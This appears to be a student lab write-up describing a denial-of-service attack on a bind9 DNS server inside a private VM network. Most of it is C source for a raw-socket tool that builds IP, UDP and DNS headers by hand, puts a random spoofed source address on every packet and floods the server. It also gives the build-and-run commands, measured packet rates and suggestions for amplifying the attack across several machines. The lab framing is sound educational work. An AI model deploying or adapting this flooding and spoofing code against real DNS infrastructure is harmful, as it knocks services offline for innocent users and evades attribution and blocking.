We used bind9 to use one VM as a DNS server. We run the command service bind9 status
to check if the DNS server is working properly. The output is as follows:
We set up another VM as our client. In order to make sure that all of our client's DNS requests go through dns-server@192.168.0.105
we update the /etc/resolv.conf
file in the client VM and change the address to 192.168.0.105
. Now, to check if the client is actually using dns-server@192.168.0.105
as its DNS server we run nslookup google.com
on the client machine and check the output:
Now, our primary target is to send an enormous amount of DNS request to dns-server@192.168.0.105
from the attacker programmatically. We also need to spoof our IP address to hide our identity. We use raw socket to accomplish this. Raw sockets are very powerful in the sense that it gives the power to specify network level details such as source IP, destination IP etc.
It appears that we could use Datagram Sockets to easily create UDP packets and add the application layer DNS payload for out attack. But, the source IP resides in the network layer which is set by the kernel before sending out of the machine. Doing so, fails our purpose of spoofing the IP. Thus, we are forced to use raw sockets here.
Using raw sockets gives us the responsibility to write the network, transport and application layer headers manually. First, we get the socket 's f descriptor by calling:
int sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
Here,
PF_INET
is the IP protocol family.SOCK_RAW
specifies that we are using raw socket.- By mentioning
IPPROTO_UDP
we specify that we are using UDP protocol.
Next, we tell the kernel that the IP header would be included in the payload by calling:
int yes = 1,
setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &yes, sizeof(yes))
Here,
sd
is the socket descriptor returned from the functionsocket()
.IPPROTO_IP
defines that the option is about the IP level protocol.IP_HDRINCL
defines that the option is about IP header inclusion in the payload.
The basic structure of our payload would be as follows:
We first take a buffer of size 1024 bytes and allocate space for the IP header, UDP header and the DNS header:
const int BUFFER_LEN = 1024;
char buffer[BUFFER_LEN];
size_t pos = 0;
memset(buffer, 0, sizeof(buffer));
struct iphdr *ip = (struct iphdr *) (buffer + pos);
pos += sizeof(struct iphdr);
struct udphdr *udp = (struct udphdr *) (buffer + pos) ;
pos += sizeof(struct udphdr);
struct dns_header *dns_h = (struct dns_header *) (buffer + pos);
pos += sizeof(struct dns_header);
As the DNS question would have variable length depending on the queried domain name, we cannot allocate space for that before setting the question.
We now populate the IP header of our packet. The format of the IP header is as follows:
Fortunately, we did not need to define our own structure for the IP header. Instead, we used the IP header provided with the linux/ip.h
library:
void fill_ip(struct iphdr *ip) {
ip->ihl = 5; // Header size = 5 * 32 bit
ip->version = 4; // IPv4
ip->tos = 16; // low delay
ip->id = htons(rand() & 0xFFFF); // randomly assignning ip-id
ip->ttl = 64; // hops
ip->protocol = 17; // UDP
ip->saddr = inet_addr("1.2.3.4"); //spoofing ip
ip->daddr = inet_addr(DNS_SERVER); // DNS ip
}
Notice that, we did not set the Total Length and Header Checksum field in the IP header. These two fields are set by the kernel when the IP_HDRINCL
option is set.
The structure of the UDP header is as follows:
We used the UDP header structure provided with the linux/udp.h
library to fill the UDP header:
void fill_udp(struct udphdr *udp, size_t len) {
udp->source = htons(10); // source port
udp->dest = htons(DNS_PORT); // DNS port
udp->len = htons(len); // length of UDP header + DNS header + DNS question
}
Notice that, the len
field requires the length of the UDP header, DNS header and DNS question. As the DNS question can be of variable length, we fill the UDP header after filling the DNS header and the DNS question.
The structure of the DNS header is as follows:
Unlike IP and UDP, we had to write our own structure for the DNS header:
struct dns_header {
uint16_t xid;
uint16_t flags;
uint16_t qdcount;
uint16_t ancount;
uint16_t nscount;
uint16_t arcount;
};
Next, we fill the DNS header as follows:
void fill_dns_header(struct dns_header *dns_h) {
dns_h->xid= htons(rand()& 0xFFFF); // randomly assigning dns-id
dns_h->flags = htons(0x0100); // recursion desired
dns_h->qdcount = htons (1); // 1 question
dns_h->ancount = 0;
dns_h->nscount = 0;
dns_h->arcount = 0;
};
The structure of the DNS question is as follows:
We define our DNS question structure as follows:
struct dns_question {
char *name;
uint16_t dnstype;
uint16_t dnsclass;
};
The QName
requires the following structure:
A domain name is represented as a sequence of labels, where each label consists of a length octet followed by that number of octets. The domain name terminates with the zero length octet for the null label of the root.
For example, the domain www.abcd.com would become 3www4abcd3com0.
Our build_domain_name()
function is as follows:
char *build_domain_qname (char *hostname) {
char *name = calloc(strlen (hostname) + 1, sizeof (char)); // 1 extra for the inital octet
/* Leave the first byte blank for the first field length */
memcpy(name + 1, hostname, strlen (hostname));
int hostname_len = strlen(hostname);
char count = 0;
char *prev = name;
for (int i = 0; i < hostname_len ; i++) {
if (hostname[i] == '.') {
*prev = count;
prev = name + i + 1;
count = 0;
}
else count++;
}
*prev = count;
return name;
}
Next, we fill the dns_question
structure as follows:
size_t fill_dns_question(char* buffer) {
int len = 0;
struct dns_question question;
question.name = build_domain_qname(DOMAIN_NAME);
question.dnstype = htons(1); // QTYPE A records
question.dnsclass = htons(1); // QCLASS Internet Address
memcpy(buffer, question.name, strlen(question.name) + 1);
buffer += strlen(question.name) + 1 ;
memcpy(buffer, &question.dnstype, sizeof (question.dnstype));
buffer += sizeof(question.dnstype);
memcpy (buffer, &question.dnsclass, sizeof (question.dnsclass));
int ret_len = strlen(question.name) + 1 + sizeof(question.dnstype) + sizeof (question.dnsclass);
free(question.name);
return ret_len;
}
Finally, we send our packets using the sendto()
function:
sendto(sd, buffer, pos, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0 )
Here sin
is the sockaddr_in
in which we specify the sin_family
, destination IP and the destination port:
void fill_sin(struct sockaddr_in *sin) {
sin->sin_family = AF_INET; // IP Address Family
sin->sin_port = htons(DNS_PORT);
sin->sin_addr.s_addr = inet_addr(DNS_SERVER);
}
As the attacker, we want to spoof our IP address every time we send the DNS server any request. Otherwise, the server may identify the source IP from the repeating requests and stop processing / block further requests from it. To spoof our IP, we will
- Change the source IP address in our payload with a random IP
- Change the ID field in the IP header with a random ID
- Change the ID field in the DNS header with a random ID
Our spoof_identity()
function accomplishes this:
void spoof_identity(struct iphdr *ip, struct dns_header *dns_h) {
char ip_addr[20] ;
sprintf(ip_addr, "%d.%d.%d.%d", rand() & 0xFF, rand() & 0xFF, rand() & 0xFF, rand() & 0xFF ) ;
ip -> saddr = inet_addr(ip_addr);
ip->id = htons(rand() & 0xFFFF);
dns_h->xid= htons(rand()& 0xFFFF);
}
Before initializing our attack, we performed the following checks to see everything was working smoothly:
First we tested our socket connection. We sent a regular DNS request with our original IP address. The output of Wireshark in the dns-server@192.168.0.105
is as follows:
So, we came to the conclusion that our socket connection was successfully working.
Next, we did the same check but with spoofed IP. The output of Wireshark in the dns-server@192.168.0.105
is as follows:
So, we can conclude that our IP spoofing has also been successful.
Finally, we combine everything above and perform our final DoS attack on the DNS server. We send the DNS requests in a loop and each time before sending the request we spoof our IP. We put our attacking code in attack.c
file in our host machine and run the command:
$ gcc attack.c -o attack
$ sudo ./attack
Through Wireshark we now observe a flood of of requests accumulated at the DNS server:
One thing to notice here is that because of IP spoofing all of the source IP-s are different and it is now impossible to detect the attacker's source IP and block it.
Now, if we perform an nslookup
from the client machine during the attack we get connection timed out indicating that the client is not getting the DNS service:
Even if we check from the browser of our client, we observe the same situation. The web-page does not load until we halt our attack.
Thus, we come to the conclusion that our attack to the DNS server was successful.
- On our attack, we managed to generate and send approximate
$1.5 \cdot 10^5$ DNS requests per second to the server. This was actually enough to flood the server and block subsequent requests from other clients. - We tried to lower the request frequency to
$2 \cdot 10^4$ pkt/s,$7\cdot10^4$ pkt/s to check whether our attack still works. Unfortunately, even at a request generation of$7\cdot10^4$ pkt/s the DNS server could serve the client's DNS request. - One possible variation of our attack might be to request different domain names every time so that the server can not cache the result. This requires ether generating a domain name every time we send a request or saving a large number of domain name in our local storage / database.
- If we decide to generate low frequency of requests from a single machine then another possible solution might be to use multiple VMs and perform the attack simultaneously on a single DNS server. By doing so, we can achieve a DNS request frequency of around
$1\cdot10^6$ pkt/s. {"mode":"full","isActive":false}